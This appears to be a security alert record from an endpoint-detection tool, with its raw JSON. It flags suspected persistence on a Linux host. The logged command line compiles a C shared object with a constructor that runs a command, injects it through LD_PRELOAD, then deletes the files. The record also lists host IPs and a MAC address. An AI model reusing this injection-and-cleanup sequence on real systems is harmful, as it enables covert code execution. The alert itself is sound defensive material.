Alert Information High
Alert ID
ind:f04562e41eb24f95911339a2dfa4d617:1766236107127442660-30106-3940368
Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1766236107127442660-30106-3940368
설명
The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.
호스트
inbridge-40
상태
new
생성 시간
2025-12-20 22:09:29
업데이트 시간
2025-12-20 23:08:29
MITRE ATT&CK
Tactic
Persistence
Technique
External Remote Services
Command Line
bash -c cat > /tmp/e.c << "E"
#include <stdlib.h>
void __attribute__((constructor)) i() { system("id"); }
E
gcc -shared -fPIC -o /tmp/e.so /tmp/e.c 2>/dev/null
LD_PRELOAD=/tmp/e.so ls 2>/dev/null
rm -f /tmp/e.c /tmp/e.so
Raw JSON Data
{"id":"ind:f04562e41eb24f95911339a2dfa4d617:1766236107127442660-30106-3940368","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1766236107127442660-30106-3940368","agent_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"External Remote Services","technique_id":"T1133","cmdline":"bash -c cat \u003E /tmp/e.c \u003C\u003C \u0022E\u0022\n#include \u003Cstdlib.h\u003E\nvoid __attribute__((constructor)) i() { system(\u0022id\u0022); }\nE\ngcc -shared -fPIC -o /tmp/e.so /tmp/e.c 2\u003E/dev/null\nLD_PRELOAD=/tmp/e.so ls 2\u003E/dev/null\nrm -f /tmp/e.c /tmp/e.so","filename":"bash","filepath":"/usr/bin/bash","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","status":"new","type":"ldt","created_timestamp":"2025-12-20T13:09:29.455325708Z","updated_timestamp":"2025-12-20T14:08:29.23541463Z","device":{"device_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"inbridge-40","local_ip":"10.24.11.214","external_ip":"211.198.135.5","mac_address":"00-0c-29-31-3f-de","platform_name":"Linux","os_version":"Ubuntu 24.04"},"aggregate_id":"aggind:f04562e41eb24f95911339a2dfa4d617:12930907065","CreatedAt":"2025-12-20T22:09:29.4553257+09:00","UpdatedAt":"2025-12-20T23:08:29.2354146+09:00"}
Quick Info
  • Severity High
  • Score 70
  • Agent ID f04562e41eb24f95911339a2dfa4d617